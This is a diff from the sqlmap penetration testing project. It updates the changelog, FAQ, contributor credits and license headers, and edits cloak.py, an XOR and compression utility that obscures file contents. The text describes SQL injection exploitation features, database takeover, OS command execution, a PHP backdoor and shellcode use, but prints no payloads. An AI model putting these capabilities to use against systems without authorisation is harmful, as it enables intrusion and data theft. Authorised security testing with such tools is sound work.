effc7dc41c | ||
|
|
652daa616e | ||
|
|
758a858785 | ||
|
|
5556db80db | ||
|
|
6e7be5edb0 | ||
|
|
3fe9f9cac9 | ||
|
|
a6a2e993cc | ||
|
|
c303feab17 | ||
|
|
e2810003ae | ||
|
|
c24f1cc07c | ||
|
|
60f04f0a41 | ||
|
|
bd669dd6fa | ||
|
|
2d55ec19a3 | ||
|
|
e29e8f82f9 | ||
|
|
0a363d3f2b | ||
|
|
4129cb22a7 | ||
|
|
cad8f61d55 | ||
|
|
b19de015c5 | ||
|
|
5fdebb5d5b | ||
|
|
d583cc07e7 | ||
|
|
1973024ebf | ||
|
|
f0729565a9 | ||
|
|
8702cce760 | ||
|
|
c2a6f21095 | ||
|
|
88d74a00c1 | ||
|
|
a02ec29c15 | ||
|
|
c9c9c1fb2f | ||
|
|
bfc12e93c5 | ||
|
|
ae3455a0c2 | ||
|
|
738c210075 | ||
|
|
87d8c6719e | ||
|
|
f04449be03 | ||
|
|
4dd2cdef47 | ||
|
|
a0290a257b | ||
|
|
1416cd0d86 | ||
|
|
4ca1adba2c | ||
|
|
1ec5221d82 | ||
|
|
eaa9dd07bc | ||
|
|
0aa8f7309b | ||
|
|
2e05e1c54d | ||
|
|
8bab94de64 | ||
|
|
5a6a01f24c | ||
|
|
be81c20298 | ||
|
|
2aadc5c939 | ||
|
|
f4f68218bc | ||
|
|
a63e251b25 | ||
|
|
f0f1176396 | ||
|
|
8e57767c48 | ||
|
|
09768a7b62 | ||
|
|
f9a135e232 | ||
|
|
9e8a108768 | ||
|
|
d13ad8b2d7 | ||
|
|
d00e4a458a | ||
|
|
72f3674844 | ||
|
|
0d559d14df | ||
|
|
f1fde2e443 | ||
|
|
d2f86fb0a5 | ||
|
|
466df89c4a | ||
|
|
3b3353e05b | ||
|
|
1dfe558d3d | ||
|
|
323cf2b7f2 | ||
|
|
6d0ea86414 | ||
|
|
417f7fae00 | ||
|
|
8af7d6c58b | ||
|
|
a0ec447b7d | ||
|
|
7f5bc5e3fe | ||
|
|
5063401130 |
@@ -1,3 +1,55 @@
|
||||
sqlmap (0.9-1) stable; urgency=low
|
||||
|
||||
* Rewritten SQL injection detection engine (Bernardo and Miroslav).
|
||||
* Support to directly connect to the database without passing via a
|
||||
SQL injection, -d switch (Bernardo and Miroslav).
|
||||
* Added full support for both time-based blind SQL injection and
|
||||
error-based SQL injection techniques (Bernardo and Miroslav).
|
||||
* Implemented support for SQLite 2 and 3 (Bernardo and Miroslav).
|
||||
* Implemented support for Firebird (Bernardo and Miroslav).
|
||||
* Implemented support for Microsoft Access, Sybase and SAP MaxDB
|
||||
(Miroslav).
|
||||
* Extended old '--dump -C' functionality to be able to search for
|
||||
specific database(s), table(s) and column(s), --search switch
|
||||
(Bernardo).
|
||||
* Added support to tamper injection data with --tamper switch (Bernardo
|
||||
and Miroslav).
|
||||
* Added automatic recognition of password hashes format and support to
|
||||
crack them with a dictionary-based attack (Miroslav).
|
||||
* Added support to enumerate roles on Oracle, --roles switch (Bernardo).
|
||||
* Added support for SOAP based web services requests (Bernardo).
|
||||
* Added support to fetch unicode data (Bernardo and Miroslav).
|
||||
* Added support to use persistent HTTP(s) connection for speed
|
||||
improvement, --keep-alive switch (Miroslav).
|
||||
* Implemented several optimization switches to speed up the exploitation
|
||||
of SQL injections (Bernardo and Miroslav).
|
||||
* Support to test and inject against HTTP Referer header (Miroslav).
|
||||
* Implemented HTTP(s) proxy authentication support, --proxy-cred switch
|
||||
(Miroslav).
|
||||
* Implemented feature to speedup the enumeration of table names
|
||||
(Miroslav).
|
||||
* Support for customizable HTTP(s) redirections (Bernardo).
|
||||
* Support to replicate the back-end DBMS tables structure and entries
|
||||
in a local SQLite 3 database, --replicate switch (Miroslav).
|
||||
* Support to parse and test forms on target url, --forms switch
|
||||
(Bernardo and Miroslav).
|
||||
* Added switches to brute-force tables names and columns names with a
|
||||
dictionary attack, --common-tables and --common-columns. Useful for
|
||||
instance when system table 'information_schema' is not available on
|
||||
MySQL (Miroslav).
|
||||
* Basic support for REST-style URL parameters by using the asterisk (*)
|
||||
to mark where to test for and exploit SQL injection (Miroslav).
|
||||
* Added safe URL feature, --safe-url and --safe-freq (Miroslav).
|
||||
* Added --text-only switch to strip from the HTTP response body the
|
||||
HTML/JS code and compare pages based only on their textual content
|
||||
(Miroslav).
|
||||
* Implemented few other features and switches (Bernardo and Miroslav).
|
||||
* Over 100 bugs fixed (Bernardo and Miroslav).
|
||||
* Major code refactoring (Bernardo and Miroslav).
|
||||
* User's manual updated (Bernardo).
|
||||
|
||||
-- Bernardo Damele A. G. <[email protected]> Sun, 10 Apr 2011 21:00:00 +0000
|
||||
|
||||
sqlmap (0.8-1) stable; urgency=low
|
||||
|
||||
* Support to enumerate and dump all databases' tables containing user
|
||||
|
||||
+109
@@ -0,0 +1,109 @@
|
||||
<!doctype linuxdoc system>
|
||||
|
||||
<article>
|
||||
|
||||
<title>sqlmap - Frequently Asked Questions
|
||||
<author>by <htmlurl url="mailto:[email protected]" name="Bernardo Damele A. G.">,
|
||||
<htmlurl url="mailto:[email protected]" name="Miroslav Stampar">
|
||||
<abstract>
|
||||
This document contains frequently asked questions for <htmlurl
|
||||
url="http://sqlmap.sourceforge.net" name="sqlmap">.
|
||||
</abstract>
|
||||
|
||||
<toc>
|
||||
|
||||
<sect>Frequently Asked Questions
|
||||
|
||||
<sect1>What is sqlmap?
|
||||
|
||||
<p>
|
||||
sqlmap is an open source penetration testing tool that automates the
|
||||
process of detecting and exploiting SQL injection flaws and taking over
|
||||
of database servers. It comes with a kick-ass detection engine, many niche
|
||||
features for the ultimate penetration tester and a broad range of switches
|
||||
lasting from database fingerprinting, over data fetching from the
|
||||
database, to accessing the underlying file system and executing commands
|
||||
on the operating system via out-of-band connections.
|
||||
|
||||
<sect1>How do I execute sqlmap?
|
||||
|
||||
<p>
|
||||
If you are running on a Unix/Linux system type the following command
|
||||
from a terminal:
|
||||
<tscreen><verb>
|
||||
python sqlmap.py -h
|
||||
</verb></tscreen>
|
||||
|
||||
<p>
|
||||
If you are running on a Windows system type the following command
|
||||
from a terminal:
|
||||
<tscreen><verb>
|
||||
C:\Python26\python.exe sqlmap.py -h
|
||||
</verb></tscreen>
|
||||
|
||||
<p>
|
||||
Where <tt>C:\Python26</tt> is the path where you installed <htmlurl
|
||||
url="http://www.python.org" name="Python"> <bf>>= 2.6</bf>.
|
||||
|
||||
<sect1>Can I integrate sqlmap with a security tool I am developing?
|
||||
|
||||
<p>
|
||||
Yes. sqlmap is released under the terms of the GPLv2, which means that any
|
||||
derivative work must be distributed without further restrictions on the
|
||||
rights granted by the GPL itself. If this constitutes a problem, feel free
|
||||
to contact us so we can find a solution.
|
||||
|
||||
<sect1>How can I integrate sqlmap with my own tool?
|
||||
|
||||
<p>
|
||||
TODO
|
||||
|
||||
<sect1>Will you support other database management systems?
|
||||
|
||||
<p>
|
||||
Yes. There are plans to support also IBM DB2, Informix and Ingres at some
|
||||
point.
|
||||
|
||||
<sect1>How can I occasionally contribute?
|
||||
|
||||
<p>
|
||||
All help is greatly appreciated. First of all download the tool, make sure
|
||||
you are running the latest development version from the Subversion
|
||||
repository, read the user's manual carefully, have fun with it during your
|
||||
penetration tests.
|
||||
If you find bugs or have ideas for possible improvements, feel free to
|
||||
<htmlurl url="http://sqlmap.sourceforge.net/#ml" name="get in touch on the
|
||||
mailing list">. Many people have <htmlurl
|
||||
url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/THANKS"
|
||||
name="contributed"> in different ways to the sqlmap development.
|
||||
<bf>You</bf> can be the next!
|
||||
|
||||
<sect1>Can I actively contribute in the long-term development?
|
||||
|
||||
<p>
|
||||
Yes, we are looking for people who can write some clean Python code, are
|
||||
up to do security research, know about web application security, database
|
||||
assessment and takeover, software refactoring and are motivated to join
|
||||
the development team.
|
||||
If this sounds interesting to you, <htmlurl
|
||||
url="http://sqlmap.sourceforge.net/#developers" name="get in touch">!
|
||||
|
||||
<sect1>How can I support the development?
|
||||
|
||||
<p>
|
||||
If you think that sqlmap is a great tool, it really played well during
|
||||
your penetration tests, or you simply like it, you, or your boss, can
|
||||
<htmlurl url="http://sqlmap.sourceforge.net/#donate" name="donate
|
||||
some money"> to the developers via PayPal.
|
||||
|
||||
<sect1>Can you hack a site for me?
|
||||
|
||||
<p>
|
||||
<bf>No</bf>.
|
||||
|
||||
<sect1>How sqlmap decides this and that?
|
||||
|
||||
<p>
|
||||
TODO
|
||||
|
||||
</article>
|
||||
+1913
-4787
File diff suppressed because it is too large
Load Diff
+6687
-6623
File diff suppressed because it is too large
Load Diff
+1929
-4576
File diff suppressed because it is too large
Load Diff
+245
-9
@@ -1,5 +1,8 @@
|
||||
== Individuals ==
|
||||
|
||||
Santiago Accurso <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
David Alvarez <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
@@ -8,12 +11,18 @@ Chip Andrews <[email protected]>
|
||||
at SQLSecurity.com and permission to implement the update feature
|
||||
taking data from his site
|
||||
|
||||
Smith Andy <[email protected]>
|
||||
for suggesting a feature
|
||||
|
||||
Otavio Augusto <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Simon Baker <[email protected]>
|
||||
for reporting some bugs
|
||||
|
||||
Emiliano Bazaes <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Daniele Bellucci <[email protected]>
|
||||
for starting sqlmap project and developing it between July and August
|
||||
2006
|
||||
@@ -24,6 +33,9 @@ Velky Brat <[email protected]>
|
||||
Jack Butler <[email protected]>
|
||||
for providing me with the sqlmap site favicon
|
||||
|
||||
Ulisses Castro <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Roberto Castrogiovanni <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
@@ -45,19 +57,27 @@ Pierre Chifflier <[email protected]> and Mark Hymers <[email protected]>
|
||||
for uploading and accepting the sqlmap Debian package to the official
|
||||
Debian project repository
|
||||
|
||||
Andreas Constantinides <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Ulises U. Cune <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Alessandro Curio <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Alessio Dalla Piazza <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Stefano Di Paola <[email protected]>
|
||||
for suggesting good features
|
||||
|
||||
Dan Guido <[email protected]>
|
||||
for promoting sqlmap in the context of the Penetration Testing and
|
||||
Vulnerability Analysis class at the Polytechnic University of New York,
|
||||
http://isisblogs.poly.edu/courses/pentest/
|
||||
Mosk Dmitri <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Carey Evans <[email protected]>
|
||||
for his fcrypt module that allows crypt(3) support
|
||||
on Windows platforms
|
||||
|
||||
Adam Faheem <[email protected]>
|
||||
for reporting a few bugs
|
||||
@@ -79,7 +99,15 @@ Giorgio Fedon <[email protected]>
|
||||
for reporting a bug when running against Microsoft SQL Server 2005
|
||||
|
||||
Kasper Fons <[email protected]>
|
||||
for reporting a bug
|
||||
for reporting several bugs
|
||||
|
||||
Jose Fonseca <[email protected]>
|
||||
for his Gprof2Dot utility for converting profiler output to dot
|
||||
graph(s) and for his XDot utility to render nicely dot graph(s),
|
||||
both included in sqlmap tree inside extra folder. These libraries
|
||||
are used for sqlmap development purposes only
|
||||
http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
|
||||
http://code.google.com/p/jrfonseca/wiki/XDot
|
||||
|
||||
Alan Franzoni <[email protected]>
|
||||
for helping me out with Python subprocess library
|
||||
@@ -87,11 +115,17 @@ Alan Franzoni <[email protected]>
|
||||
Daniel G. Gamonal <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Marcos Mateos Garcia <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Ivan Giacomelli <[email protected]>
|
||||
for reporting a bug
|
||||
for suggesting a minor enhancement
|
||||
for reviewing the documentation
|
||||
|
||||
Nico Golde <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Oliver Gruskovnjak <[email protected]>
|
||||
for reporting a bug
|
||||
for providing me with a minor patch
|
||||
@@ -99,6 +133,28 @@ Oliver Gruskovnjak <[email protected]>
|
||||
Davide Guerri <[email protected]>
|
||||
for suggesting an enhancement
|
||||
|
||||
Dan Guido <[email protected]>
|
||||
for promoting sqlmap in the context of the Penetration Testing and
|
||||
Vulnerability Analysis class at the Polytechnic University of New York,
|
||||
http://isisblogs.poly.edu/courses/pentest/
|
||||
|
||||
David Guimaraes <[email protected]>
|
||||
for reporting several bugs
|
||||
for suggesting an enhancement
|
||||
|
||||
Chris Hall <[email protected]>
|
||||
for coding the prettyprint.py library
|
||||
|
||||
Tate Hansen <[email protected]>
|
||||
for donating to sqlmap development
|
||||
|
||||
Mario Heiderich <[email protected]>
|
||||
Christian Matthies <[email protected]>
|
||||
Lars H. Strojny <[email protected]>
|
||||
for their great tool PHPIDS included in sqlmap tree as
|
||||
a set of rules for testing payloads against IDS detection,
|
||||
http://php-ids.org
|
||||
|
||||
Kristian Erik Hermansen <[email protected]>
|
||||
for reporting a bug
|
||||
for donating to sqlmap development
|
||||
@@ -116,12 +172,21 @@ Daniel Huckmann <[email protected]>
|
||||
Mounir Idrassi <[email protected]>
|
||||
for his compiled version of UPX for Mac OS X
|
||||
|
||||
Daliev Ilya <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Prashant Jadhav <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Dirk Jagdmann <[email protected]>
|
||||
for reporting a typo in the documentation
|
||||
|
||||
Luke Jahnke <[email protected]>
|
||||
for reporting a bug when running against MySQL < 5.0
|
||||
|
||||
David Klein <[email protected]>
|
||||
for reporting a minor code improvement
|
||||
|
||||
Sven Klemm <[email protected]>
|
||||
for reporting two minor bugs with PostgreSQL
|
||||
|
||||
@@ -137,6 +202,9 @@ Krzysztof Kotowicz <[email protected]>
|
||||
Nicolas Krassas <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Alex Landa <[email protected]>
|
||||
for providing a patch adding support for XML output
|
||||
|
||||
Guido Landi <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
for the great technical discussions
|
||||
@@ -150,13 +218,29 @@ Guido Landi <[email protected]>
|
||||
Lee Lawson <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
John J. Lee <[email protected]> & others
|
||||
for developing the clientform Python library used by sqlmap to parse
|
||||
forms when --forms switch is specified
|
||||
|
||||
Nico Leidecker <[email protected]>
|
||||
for providing me with feedback on a few features
|
||||
for reporting a couple of bugs
|
||||
for his great tool icmpsh included in sqlmap tree to get a command
|
||||
prompt via an out-of-band tunnel over ICMP,
|
||||
http://leidecker.info/downloads/icmpsh.zip
|
||||
|
||||
Gabriel Lima <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Svyatoslav Lisin <[email protected]>
|
||||
for suggesting a minor feature
|
||||
|
||||
Mark Lowe <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Truong Duc Luong <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Pavol Luptak <[email protected]>
|
||||
for reporting a bug when injecting on a POST data parameter
|
||||
|
||||
@@ -169,10 +253,35 @@ Ferruh Mavituna <[email protected]>
|
||||
for providing me with ideas on the implementation of a couple of
|
||||
new features
|
||||
|
||||
David McNab <[email protected]>
|
||||
for his XMLObject module that allows XML files to be operated on
|
||||
like Python objects
|
||||
|
||||
Spencer J. McIntyre <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Enrico Milanese <[email protected]>
|
||||
for reporting a bugs when using (-a) a single line User-Agent file
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
Anton Mogilin <[email protected]>
|
||||
for reporting a few bugs
|
||||
|
||||
Anastasios Monachos <[email protected]>
|
||||
for providing some useful data
|
||||
for suggesting a feature
|
||||
|
||||
Kirill Morozov <[email protected]>
|
||||
for reporting a bug
|
||||
for suggesting a feature
|
||||
|
||||
Alejo Murillo Moya <[email protected]>
|
||||
for reporting a minor bug
|
||||
for suggesting a few features
|
||||
|
||||
Yonny Mutai <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Roberto Nemirovsky <[email protected]>
|
||||
for pointing me out some enhancements
|
||||
|
||||
@@ -188,6 +297,10 @@ Simone Onofri <[email protected]>
|
||||
for patching the PHP web backdoor to make it work properly also on
|
||||
Windows
|
||||
|
||||
Shaohua Pan <[email protected]>
|
||||
for reporting several bugs
|
||||
for suggesting a few features
|
||||
|
||||
Antonio Parata <[email protected]>
|
||||
for providing me with some ideas for the PHP backdoor
|
||||
|
||||
@@ -197,9 +310,20 @@ Adrian Pastor <[email protected]>
|
||||
Chris Patten <[email protected]>
|
||||
for reporting a bug in the blind SQL injection bisection algorithm
|
||||
|
||||
Zack Payton <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Steve Pinkham <[email protected]>
|
||||
for suggesting a feature
|
||||
for providing a new sql injection vector (MSSQL time based)
|
||||
|
||||
Adam Pridgen <[email protected]>
|
||||
for suggesting some features
|
||||
|
||||
Ole Rasmussen <[email protected]>
|
||||
for reporting a bug
|
||||
for suggesting a feature
|
||||
|
||||
Alberto Revelli <[email protected]>
|
||||
for inspiring me to write sqlmap user's manual in SGML
|
||||
for his great Microsoft SQL Server take over tool, sqlninja,
|
||||
@@ -210,30 +334,60 @@ Andres Riancho <[email protected]>
|
||||
for reporting a bug and suggesting some features
|
||||
for including sqlmap in his great web application audit and attack
|
||||
framework, w3af, http://w3af.sourceforge.net
|
||||
for suggesting a way for handling DNS caching
|
||||
|
||||
Antonio Riva <[email protected]>
|
||||
for reporting a bug when running with python 2.5
|
||||
|
||||
Ethan Robish <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Andrea Rossi <[email protected]>
|
||||
for reporting a minor bug
|
||||
for suggesting a feature
|
||||
|
||||
Richard Safran <[email protected]>
|
||||
for donating the sqlmap.org domain control
|
||||
|
||||
Tomoyuki Sakurai <[email protected]>
|
||||
for submitting to the FreeBSD project the sqlmap 0.5 port
|
||||
|
||||
Pedro Jacques Santos Santiago <[email protected]>
|
||||
for reporting several bugs
|
||||
|
||||
Marek Sarvas <[email protected]>
|
||||
for reporting several bugs
|
||||
|
||||
Philippe A. R. Schaeffer <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Jorge Santos <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Sven Schluter <[email protected]>
|
||||
for providing with a patch for waiting a number of seconds between
|
||||
each HTTP request
|
||||
|
||||
Ryan Sears <[email protected]>
|
||||
for suggesting a couple of enhancements
|
||||
|
||||
Uemit Seren <[email protected]>
|
||||
for reporting a minor adjustment when running with python 2.6
|
||||
|
||||
Ahmed Shawky <[email protected]>
|
||||
for reporting a major bug with improper handling of parameter values
|
||||
for reporting a bug
|
||||
|
||||
Brian Shura <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Sumit Siddharth <[email protected]>
|
||||
for providing me with ideas on the implementation of a couple of
|
||||
features
|
||||
|
||||
Andre Silva <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
M Simkin <[email protected]>
|
||||
for suggesting a feature
|
||||
|
||||
@@ -241,6 +395,10 @@ Konrads Smelkovs <[email protected]>
|
||||
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
|
||||
SQL Server
|
||||
|
||||
Michael D. Stenner <[email protected]>
|
||||
for his keepalive module that allows handling of persistent
|
||||
HTTP 1.1 keep-alive connections
|
||||
|
||||
Marek Stiefenhofer <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
@@ -248,6 +406,9 @@ Jason Swan <[email protected]>
|
||||
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||
for suggesting a couple of improvements
|
||||
|
||||
Chilik Tamir <[email protected]>
|
||||
for providing a patch for initial support SOAP requests
|
||||
|
||||
Alessandro Tanasi <[email protected]>
|
||||
for extensively beta-testing sqlmap
|
||||
for suggesting many features and reporting some bugs
|
||||
@@ -256,6 +417,9 @@ Alessandro Tanasi <[email protected]>
|
||||
Andres Tarasco <[email protected]>
|
||||
for providing me with good feedback
|
||||
|
||||
Kazim Bugra Tombul <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Efrain Torres <[email protected]>
|
||||
for helping me out to improve the Metasploit Framework 3 sqlmap
|
||||
auxiliary module and for commiting it on the Metasploit official
|
||||
@@ -265,6 +429,12 @@ Efrain Torres <[email protected]>
|
||||
Sandro Tosi <[email protected]>
|
||||
for helping to create sqlmap Debian package correctly
|
||||
|
||||
Vitaly Turenko <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Augusto Urbieta <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Bedirhan Urgun <[email protected]>
|
||||
for reporting a few bugs
|
||||
for suggesting some features and improvements
|
||||
@@ -272,31 +442,97 @@ Bedirhan Urgun <[email protected]>
|
||||
benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
|
||||
|
||||
Kyprianos Vasilopoulos <[email protected]>
|
||||
for reporting an unhandled connection exception
|
||||
for reporting a couple of minor bugs
|
||||
|
||||
Carlos Gabriel Vergara <[email protected]>
|
||||
for suggesting couple of good features
|
||||
|
||||
Anthony Zboralski <[email protected]>
|
||||
for providing me with detailed feedback
|
||||
for reporting a few minor bugs
|
||||
for donating to sqlmap development
|
||||
|
||||
dsu <[email protected]>
|
||||
Thierry Zoller <[email protected]>
|
||||
for reporting a couple of major bugs
|
||||
|
||||
-insane- <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
abc abc <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Brandon E. <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
black zero <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
buawig <[email protected]>
|
||||
for reporting considerable amount of bugs
|
||||
|
||||
Bugtrace <[email protected]>
|
||||
for reporting several bugs
|
||||
|
||||
dragoun dash <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
fufuh <[email protected]>
|
||||
for reporting a bug when running on Windows
|
||||
|
||||
james <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
m4l1c3 <[email protected]>
|
||||
for reporting considerable amount of bugs
|
||||
|
||||
mariano <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
mitchell <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
nightman <[email protected]>
|
||||
for reporting several bugs
|
||||
|
||||
pacman730 <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
Phat R. <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
Joe "Pragmatk" <[email protected]>
|
||||
for reporting a few bugs
|
||||
|
||||
ragos <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
shiftzwei <[email protected]>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Stuffe <[email protected]>
|
||||
for reporting a minor bug and a feature request
|
||||
|
||||
Sylphid <[email protected]>
|
||||
for suggesting some features
|
||||
|
||||
syssecurity.info <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
ToR <[email protected]>
|
||||
for reporting considerable amount of bugs
|
||||
for suggesting a feature
|
||||
|
||||
ultramegaman <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
wanglei <[email protected]>
|
||||
for reporting a minor bug
|
||||
|
||||
warninggp <[email protected]>
|
||||
for reporting a few minor bugs
|
||||
|
||||
x <[email protected]>
|
||||
for reporting a bug
|
||||
|
||||
== Organizations ==
|
||||
|
||||
@@ -309,8 +545,8 @@ Black Hat team <[email protected]>
|
||||
|
||||
Metasploit LLC <[email protected]>
|
||||
for their powerful tool Metasploit Framework 3, used by sqlmap, among
|
||||
others things, to create the payload stager and establish an
|
||||
out-of-band connection between sqlmap and the database server,
|
||||
others things, to create the shellcode and establish an out-of-band
|
||||
connection between sqlmap and the database server,
|
||||
http://www.metasploit.com/framework
|
||||
|
||||
OWASP Board <http://www.owasp.org>
|
||||
|
||||
+2
-17
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2007-2008 David McNab
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
File diff suppressed because it is too large
Load Diff
+2
-17
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
+12
-24
@@ -1,23 +1,12 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
cloak.py - Simple file encryption/compression utility
|
||||
Copyright (C) 2010 Miroslav Stampar, Bernardo Damele A. G.
|
||||
email(s): [email protected], [email protected]
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import bz2
|
||||
@@ -34,21 +23,21 @@ def hideAscii(data):
|
||||
retVal += chr(ord(data[i]) ^ 127)
|
||||
else:
|
||||
retVal += data[i]
|
||||
|
||||
|
||||
return retVal
|
||||
|
||||
def cloak(inputFile):
|
||||
f = open(inputFile, 'rb')
|
||||
data = bz2.compress(f.read())
|
||||
f.close()
|
||||
|
||||
|
||||
return hideAscii(data)
|
||||
|
||||
|
||||
def decloak(inputFile):
|
||||
f = open(inputFile, 'rb')
|
||||
data = bz2.decompress(hideAscii(f.read()))
|
||||
f.close()
|
||||
|
||||
|
||||
return data
|
||||
|
||||
def main():
|
||||
@@ -67,11 +56,11 @@ def main():
|
||||
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
|
||||
if not os.path.isfile(args.inputFile):
|
||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if not args.decrypt:
|
||||
data = cloak(args.inputFile)
|
||||
else:
|
||||
@@ -82,12 +71,11 @@ def main():
|
||||
args.outputFile = args.inputFile + '_'
|
||||
else:
|
||||
args.outputFile = args.inputFile[:-1]
|
||||
|
||||
|
||||
fpOut = open(args.outputFile, 'wb')
|
||||
sys.stdout = fpOut
|
||||
sys.stdout.write(data)
|
||||
sys.stdout.close()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
main()
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
